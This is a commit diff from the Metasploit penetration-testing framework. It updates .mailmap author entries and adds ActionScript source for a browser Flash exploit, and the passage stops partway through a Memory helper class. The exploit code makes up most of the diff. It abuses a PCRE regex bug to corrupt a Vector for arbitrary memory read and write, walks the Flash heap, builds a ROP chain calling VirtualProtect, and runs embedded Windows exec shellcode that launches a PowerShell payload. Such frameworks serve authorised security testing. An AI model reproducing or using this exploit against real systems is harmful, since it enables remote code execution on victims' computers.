Update POSIX bins from master
commit
7899881416
13
.mailmap
13
.mailmap
|
@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
|||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
|
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
|||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> joe <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
|
||||
joevennix <joevennix@github> joev <joev@metasploit.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,704 @@
|
|||
package
|
||||
{
|
||||
/*
|
||||
To compile (AIRSDK + Flex):
|
||||
mxmlc Main.as -o Main.swf -strict=false
|
||||
*/
|
||||
|
||||
import mx.utils.Base64Decoder;
|
||||
import flash.display.*;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var i:int;
|
||||
private var j:int;
|
||||
|
||||
private const OP_END:int = 0;
|
||||
private const OP_ANY:int = 12;
|
||||
private const OP_KET:int = 84;
|
||||
private const OP_CBRA:int = 94;
|
||||
private const OP_FAIL:int = 108;
|
||||
private const OP_ACCEPT:int = 109;
|
||||
|
||||
private var testSubject:String = 'c01db33f';
|
||||
private var subject:String = '';
|
||||
|
||||
private var count_576:int = 128;
|
||||
private var pre_576:int = 4;
|
||||
private var groom_576:Array = new Array(count_576);
|
||||
|
||||
private var count_re:int = 8;
|
||||
private var source_re:Vector.<String> = new Vector.<String>(count_re);
|
||||
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
|
||||
private var subjects:Vector.<String> = new Vector.<String>(count_re);
|
||||
|
||||
private var count_504:int = 256 * 3;
|
||||
private var pre_504:int = 30;
|
||||
private var groom_504:Array = new Array(count_504);
|
||||
|
||||
private var junk:Array = new Array();
|
||||
private var junk_idx:int = 0;
|
||||
|
||||
public static function Debug(message:String):void {
|
||||
ExternalInterface.call('console.log', message);
|
||||
}
|
||||
|
||||
public function MakeRegex(c:String):String {
|
||||
var i:int;
|
||||
var r:String = '(c01db33f|^(' + c + '*)'
|
||||
for (i = 0; i < 39; ++i) {
|
||||
r += '(A)';
|
||||
}
|
||||
r += '\\'
|
||||
r += '41';
|
||||
for (i = 0; i < 20; ++i) {
|
||||
r += 'A';
|
||||
}
|
||||
r += '('
|
||||
r += '\\'
|
||||
r += 'c'
|
||||
r += '\uc080'
|
||||
r += '*)?(?70))';
|
||||
return r;
|
||||
}
|
||||
|
||||
public function MakeSubject(c:String):String {
|
||||
var i:int;
|
||||
var s:String = c;
|
||||
for (i = 0; i < 0x80 - 0x3d; ++i) {
|
||||
s += c;
|
||||
}
|
||||
for (i = 0; i < 60; ++i) {
|
||||
s += 'A';
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
public function MakeByteArray(size:int):ByteArray {
|
||||
var i:int = 0;
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = size;
|
||||
for (i = 0; i < size; ++i) {
|
||||
b.writeByte(0x23);
|
||||
}
|
||||
return b;
|
||||
}
|
||||
|
||||
public function Initialise():void {
|
||||
for (i = 0; i < 8; ++i) {
|
||||
subjects[i] = MakeSubject(i.toString());
|
||||
source_re[i] = MakeRegex(i.toString());
|
||||
}
|
||||
}
|
||||
|
||||
public function CompileRegex():RegExp {
|
||||
|
||||
// heap groom the block of regex bytecode we want to follow our
|
||||
// legitimate bytecode.
|
||||
|
||||
for (i = 0; i < count_576; ++i) {
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = 576;
|
||||
|
||||
// regex nop sled :-p
|
||||
for (j = 0; j < 500; ++j) {
|
||||
b.writeByte(OP_ANY);
|
||||
}
|
||||
|
||||
// this is the capturing bracket that find_bracket will be
|
||||
// looking for to match (?70)
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(1); // WORD length of group (only != 0)
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group (must == 70)
|
||||
b.writeByte(70);
|
||||
|
||||
// we use OP_CBRA to write the current match length at one
|
||||
// dword past the end of our offset_vector.
|
||||
//
|
||||
// this is due to another bug in pcre_exec where it is
|
||||
// assumed that the group number is
|
||||
// 0 < number < md->offset_max
|
||||
// and it is only checked that group < md->offset_max, and
|
||||
// then indexing is done backwards frm the end of the buffer,
|
||||
// so a group number of 0 lets us index one dword past the end
|
||||
// of the offset_vector.
|
||||
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(0); // WORD length of group
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group
|
||||
b.writeByte(0);
|
||||
|
||||
// we're done with executing this regex for now.
|
||||
b.writeByte(OP_ACCEPT); // yay a match :-)
|
||||
|
||||
b.writeByte(OP_KET); // closing KET for group (?70)
|
||||
b.writeByte(OP_KET); // closing KET for exploit group
|
||||
|
||||
b.writeByte(OP_END);
|
||||
|
||||
b.writeByte(0);
|
||||
|
||||
groom_576[i] = b;
|
||||
}
|
||||
|
||||
// make some gaps
|
||||
for (i = 0; i < count_576; i += 2) {
|
||||
groom_576[i].length = 0;
|
||||
groom_576[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < (pre_576 * 2); i += 2) {
|
||||
groom_576[i] = MakeByteArray(576);
|
||||
}
|
||||
|
||||
for (i = 0; i < count_re; ++i) {
|
||||
try {
|
||||
Debug('[*] compiling regex');
|
||||
var re:RegExp = new RegExp(source_re[i]);
|
||||
compiled_re[i] = re;
|
||||
var match:Object = re.exec(testSubject);
|
||||
if (match != null && match[0] == 'c01db33f') {
|
||||
Debug('[*] compiled successfully');
|
||||
subject = subjects[i];
|
||||
return re;
|
||||
}
|
||||
else {
|
||||
// that allocation was no good, fill with a bytearray
|
||||
junk[junk_idx++] = MakeByteArray(576);
|
||||
}
|
||||
} catch (error:Error) {
|
||||
Debug('[*] error compiling regex: ' + error.message);
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
}
|
||||
|
||||
Debug('[*] failed first groom');
|
||||
return null;
|
||||
}
|
||||
|
||||
public function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function CorruptVector(r:RegExp):Vector.<uint> {
|
||||
|
||||
var v:Vector.<uint> = null;
|
||||
var uv:Vector.<uint> = null;
|
||||
var ov:Vector.<Object> = null;
|
||||
|
||||
for (i = 0; i < count_504; ++i) {
|
||||
v = new Vector.<uint>(124);
|
||||
v[0] = 0xc01db33f
|
||||
v[1] = i;
|
||||
for (j = 2; j < 124; ++j) {
|
||||
v[j] = 0x88888888;
|
||||
}
|
||||
groom_504[i] = v;
|
||||
}
|
||||
|
||||
for (i = 0; i < count_504; i += 3) {
|
||||
groom_504[i].length = 0;
|
||||
groom_504[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < pre_504; i += 1) {
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
v = null;
|
||||
for (i = 0; i < 128; i += 3) {
|
||||
try {
|
||||
Debug('[*] executing regex');
|
||||
r.exec(subject);
|
||||
} catch (error:Error) {
|
||||
Debug('[*] regex execution failed: ' + error.message);
|
||||
}
|
||||
|
||||
for (j = 1; j < count_504; j += 3) {
|
||||
if (groom_504[j].length != 124) {
|
||||
Debug('[*] corrupted vector');
|
||||
v = groom_504[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (v != null) {
|
||||
break;
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
// at this point we have a vector with a corrupt length, hopefully
|
||||
// followed by another vector of legitimate length.
|
||||
|
||||
if (v == null) {
|
||||
Debug('[*] failed to groom for vector corruption');
|
||||
return null;
|
||||
}
|
||||
|
||||
if (v[126] != 0xc01db33f) {
|
||||
Debug('[*] magic check failed!');
|
||||
}
|
||||
|
||||
// read out the index of the following vector; this is the vector
|
||||
// that we will use for the rest of the exploit
|
||||
|
||||
i = v[127];
|
||||
uv = groom_504[i];
|
||||
uv.fixed = true;
|
||||
|
||||
// corrupt the length of uv so that we can access all of memory :)
|
||||
|
||||
v[124] = 0xffffffff;
|
||||
|
||||
// first fix the length of the original corrupted array so we don't
|
||||
// need to worry about it any more...
|
||||
|
||||
uv[negative(0x80)] = 0x6e;
|
||||
|
||||
// now read back 0x1f8 bytes before the first vector; this must be
|
||||
// inside the original offset_vector that we overflowed, (so it is
|
||||
// guaranteed to be safe) and this buffer is directly free'd at the
|
||||
// end of pcre_exec. as it's quite a large allocation, we can be
|
||||
// quite sure that it is still on the freelist and we can steal the
|
||||
// freelist pointer from it, which will likely point to the block
|
||||
// after our second vector.
|
||||
|
||||
uv[0] = uv[negative(0xfe)];
|
||||
|
||||
// we really can't do much sanity checking here; all we know is
|
||||
// that this should be a pointer, and it will be 8 byte aligned.
|
||||
|
||||
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
|
||||
Debug('[*] freelist ptr sanity check failed!');
|
||||
uv[negative(2)] = 0x6e;
|
||||
return null;
|
||||
}
|
||||
|
||||
// uv[0] == address of our vector.<uint>'s buffer
|
||||
|
||||
uv[0] -= 0x1f0;
|
||||
|
||||
return uv;
|
||||
}
|
||||
|
||||
public function FindGCHeap(m:Memory):uint {
|
||||
|
||||
// nothing much to say about this; we know that there's a
|
||||
// FixedBlock at the start of the page that our vector is allocated
|
||||
// on, and that holds a pointer back to the global GCHeap, which is
|
||||
// a static singleton in the flash module. I've copied in the class
|
||||
// declarations for the structures being traversed, for reference.
|
||||
|
||||
var fixed_block:uint = m.vector_base & 0xfffff000;
|
||||
|
||||
/*
|
||||
struct FixedBlock
|
||||
{
|
||||
void* firstFree; // First object on the block's free list
|
||||
void* nextItem; // First object free at the end of the block
|
||||
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
|
||||
FixedBlock* prev; // Previous block on the list of blocks
|
||||
uint16_t numAlloc; // Number of items allocated from the block
|
||||
uint16_t size; // Size of objects in the block
|
||||
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
|
||||
FixedBlock *prevFree; // Previous block on the list of blocks with free items
|
||||
-------> FixedAlloc *alloc; // The allocator that owns this block
|
||||
char items[1];l // Memory for objects starts here
|
||||
};
|
||||
*/
|
||||
|
||||
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
|
||||
|
||||
/*
|
||||
class FixedAlloc
|
||||
{
|
||||
private:
|
||||
-------> GCHeap *m_heap; // The heap from which we obtain memory
|
||||
uint32_t m_itemsPerBlock; // Number of items that fit in a block
|
||||
uint32_t m_itemSize; // Size of each individual item
|
||||
|
||||
FixedBlock* m_firstBlock; // First block on list of free blocks
|
||||
FixedBlock* m_lastBlock; // Last block on list of free blocks
|
||||
FixedBlock* m_firstFree; // The lowest priority block that has free items
|
||||
|
||||
size_t m_numBlocks; // Number of blocks owned by this allocator
|
||||
#ifdef MMGC_MEMORY_PROFILER
|
||||
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
|
||||
#endif
|
||||
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
|
||||
}
|
||||
*/
|
||||
|
||||
var gcheap:uint = m.read_dword(fixed_alloc);
|
||||
|
||||
return gcheap;
|
||||
}
|
||||
|
||||
public function FindPwned(m:Memory, gcheap:uint):uint {
|
||||
|
||||
// we're going to walk the heap to find it because we don't like
|
||||
// being crashy. a lazier approach would be to spray a ton of
|
||||
// objects and scan forward from our array; this is more reliable.
|
||||
|
||||
/*
|
||||
class GCHeap
|
||||
{
|
||||
public:
|
||||
-------> Region *lastRegion;
|
||||
|
||||
private:
|
||||
...
|
||||
};
|
||||
*/
|
||||
|
||||
// I have no idea why this is at offset 4. GCheap is not virtual
|
||||
// so perhaps the Flash code has changed since the github avmplus
|
||||
// release.
|
||||
|
||||
var region:uint = m.read_dword(gcheap + 4);
|
||||
|
||||
/*
|
||||
class Region
|
||||
{
|
||||
public:
|
||||
Region *prev;
|
||||
char *baseAddr;
|
||||
char *reserveTop;
|
||||
char *commitTop;
|
||||
size_t blockId;
|
||||
};
|
||||
*/
|
||||
|
||||
while (region != 0) {
|
||||
var region_base:uint = m.read_dword(region + 4);
|
||||
var region_rtop:uint = m.read_dword(region + 8);
|
||||
var region_top:uint = m.read_dword(region + 12);
|
||||
|
||||
if (region_rtop & 1 != 0) {
|
||||
Debug('[*] this browser already got pwned, go away');
|
||||
return 0;
|
||||
}
|
||||
|
||||
m.write_dword(region + 8, region_rtop + 1);
|
||||
|
||||
// TODO: we can optimise here as we know the alignment of the
|
||||
// magic values.
|
||||
|
||||
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
|
||||
|
||||
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
|
||||
if (m.read_dword(ptr) == 0xdecafbad
|
||||
&& m.read_dword(ptr + 4) == 0xdecafbad) {
|
||||
|
||||
// we have found our two magic values
|
||||
return ptr - 0x10;
|
||||
}
|
||||
}
|
||||
|
||||
// region = region->prev;
|
||||
region = m.read_dword(region);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
|
||||
var myshellcode:Array = GetPayload();
|
||||
// at this point we are sandwiched on the stack between the current
|
||||
// frame and the previous frame; this is hazardous, we need to
|
||||
// shift our stack back above the current frame or things will go
|
||||
// wrong(tm).
|
||||
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
|
||||
v[i++] = 0x90900000;
|
||||
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
|
||||
|
||||
// Our payload (see GetPayload)
|
||||
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
|
||||
v[i++] = myshellcode[payload_i];
|
||||
}
|
||||
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
|
||||
|
||||
|
||||
// we just put things back how they were; at least, everything
|
||||
// important. we need esp and ebp to be correct, which is easy;
|
||||
// we need ecx to point to the object's vtable and then we can
|
||||
// just jump to the actual method implementation as though we
|
||||
// had hooked it.
|
||||
|
||||
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
|
||||
v[i++] = 0x90900000;
|
||||
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
|
||||
v[i++] = 0x90000012;
|
||||
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
|
||||
v[i++] = ptr;
|
||||
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
|
||||
v[i++] = fun;
|
||||
v[i++] = 0x9090e0ff; // FFE0 jmp eax
|
||||
}
|
||||
|
||||
public function GetPayload():Array {
|
||||
// Grab the powershell payload from the sh parameter in the HTML file
|
||||
var b64:Base64Decoder = new Base64Decoder();
|
||||
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
|
||||
b64.decode(raw_psh_payload);
|
||||
var psh_payload:String = b64.toByteArray().toString();
|
||||
|
||||
// This is generated from here:
|
||||
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
|
||||
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
|
||||
var payload:String = "" +
|
||||
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
|
||||
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
|
||||
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
|
||||
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
|
||||
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
|
||||
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
|
||||
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
|
||||
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
|
||||
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
|
||||
|
||||
// Here we convert the binary string to an array of DWORDS
|
||||
var arr:Array = new Array();
|
||||
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
|
||||
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
|
||||
var hex:String = "";
|
||||
for (var i2:int = 0; i2 < dword.length; i2++) {
|
||||
var byte:String = dword.charCodeAt(i2).toString(16);
|
||||
// The toString(16) conversion doesn't print zeros the way we want it.
|
||||
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
|
||||
// Another example: For 0x0c, it returns 'c', but it should be '0c'
|
||||
if (byte == '0') {
|
||||
byte = "00";
|
||||
} else if (byte.length == 1) {
|
||||
byte = '0' + byte;
|
||||
}
|
||||
hex += byte;
|
||||
}
|
||||
var real_dword:uint = parseInt(hex, 16);
|
||||
arr.push(real_dword);
|
||||
}
|
||||
|
||||
return arr;
|
||||
}
|
||||
|
||||
|
||||
public function Main() {
|
||||
i = 0;
|
||||
|
||||
Initialise();
|
||||
|
||||
var r:RegExp = CompileRegex();
|
||||
if (r == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Debug("Corrupting Vector");
|
||||
|
||||
var v:Vector.<uint> = CorruptVector(r);
|
||||
if (v == null) {
|
||||
Debug("CorruptVector returns null");
|
||||
return;
|
||||
}
|
||||
|
||||
var m:Memory = new Memory(v, v[0], 0x6e);
|
||||
|
||||
// at this point we have an absolute read/write primitive letting
|
||||
// us read and write dwords anywhere in memory, so everything else
|
||||
// is a technicality.
|
||||
|
||||
// we need an exception handler from here, because we have a vector
|
||||
// that's addressing the whole address space, and if anything goes
|
||||
// wrong, we want to clean that up or things will get unpleasant.
|
||||
|
||||
try {
|
||||
|
||||
// first we follow some pointers on the heap back to retrieve
|
||||
// the address of the static GCHeap object in the flash module.
|
||||
|
||||
// this is useful for two reasons; firstly it gives us a
|
||||
// pointer into the flash module, but secondly (and more
|
||||
// importantly) we can use the region lists in the GCHeap
|
||||
// structure to safely scan the heap to find things.
|
||||
|
||||
var gcheap:uint = FindGCHeap(m);
|
||||
if (gcheap == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// now we can parse the flash module in memory, locate useful
|
||||
// imports and find the stack adjust gadget that we need.
|
||||
|
||||
Debug('[*] scanning flash module for gadgets');
|
||||
var p:PE32 = new PE32(m, gcheap);
|
||||
|
||||
Debug(' [-] ' + p.base.toString(16) + ' flash base');
|
||||
|
||||
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
|
||||
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
|
||||
|
||||
// Find this in Flash
|
||||
// 81 c4 40 00 00 00 add esp, 40h
|
||||
// c3 ret
|
||||
var gadget_bytes:ByteArray = new ByteArray();
|
||||
gadget_bytes.length = 7;
|
||||
gadget_bytes.writeByte(0x81);
|
||||
gadget_bytes.writeByte(0xc4);
|
||||
gadget_bytes.writeByte(0x40);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0xc3);
|
||||
|
||||
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
|
||||
var ret:uint = add_esp_40h_ret + 6;
|
||||
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
|
||||
Debug(' [-] ' + ret.toString(16) + ' ret');
|
||||
|
||||
// now we create an actionscript class that we can readily
|
||||
// signature on the heap; we're going to find this object and
|
||||
// overwrite its vtable pointer to gain control of execution.
|
||||
|
||||
Debug('[*] scanning heap to find pwned object');
|
||||
var pwned:Pwned = new Pwned();
|
||||
var pwned_ptr:uint = FindPwned(m, gcheap);
|
||||
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
|
||||
if (pwned_ptr == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// we have a pointer to the object; save the vtable pointer for
|
||||
// replacement later and then create a new vtable containing
|
||||
// our gadget at the correct offset for the 'Rop' function.
|
||||
|
||||
// object ptr is actually a ScriptObject* for our ClassClosure?
|
||||
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
|
||||
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
|
||||
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
|
||||
|
||||
var shellcode:uint = m.vector_base + 4;
|
||||
|
||||
WriteShellcode(v, 1, vtable_ptr, method_ptr);
|
||||
|
||||
// invoking the method first makes our life simpler; otherwise
|
||||
// flash will go hunt for the right method, and recovery was
|
||||
// quite messy.
|
||||
|
||||
var a:uint = 0x61616161;
|
||||
pwned.Rop(
|
||||
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
|
||||
|
||||
// overwrite the method pointer
|
||||
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
|
||||
|
||||
// fix up our vector length already, since we won't need it again.
|
||||
m.Cleanup();
|
||||
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
// where better to rop than the actual stack :-P
|
||||
Debug('[*] getting ma rop on');
|
||||
pwned.Rop(
|
||||
|
||||
// ret sled oh yeah!
|
||||
|
||||
// actually this is just me lazily making stack space so
|
||||
// that VirtualProtect doesn't trample all over any of
|
||||
// flash's stuff and make it have a sad.
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret, // cf
|
||||
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
|
||||
virtual_protect, // BOOL WINAPI VirtualProtect(
|
||||
shellcode, // ...
|
||||
shellcode, // LPVOID lpAddress,
|
||||
0x1000, // SIZE_T dwSize,
|
||||
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
|
||||
m.vector_base, // LPDWORD lpflOldProtect
|
||||
// );
|
||||
|
||||
0x41414141, 0x41414141);
|
||||
|
||||
Debug('[*] we survived!');
|
||||
|
||||
// no need to fix the vtable, as we only overwrote the pointer
|
||||
// for the Rop method, and it won't get called again.
|
||||
|
||||
} catch (e:Error) {
|
||||
Debug('[!] error: ' + e.message);
|
||||
} finally {
|
||||
// we *always* need to clean up our corrupt vector as flash
|
||||
// will try to zero it out later otherwise...
|
||||
|
||||
Debug('[*] cleaning up corrupted vector');
|
||||
m.Cleanup();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,150 @@
|
|||
package
|
||||
{
|
||||
// some utilities to encapsulate using the relative read/write of the
|
||||
// corrupt vector.<uint> as an absolute read/write of the whole address
|
||||
// space.
|
||||
public class Memory
|
||||
{
|
||||
public var vector:Vector.<uint>;
|
||||
public var vector_base:uint;
|
||||
public var vector_size:uint;
|
||||
|
||||
private static function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
|
||||
vector = v;
|
||||
vector_base = b;
|
||||
vector_size = s;
|
||||
}
|
||||
|
||||
public function Cleanup():void {
|
||||
|
||||
// restore the correct size to our vector so that flash doesn't
|
||||
// inadvertently trample on lots of memory.
|
||||
|
||||
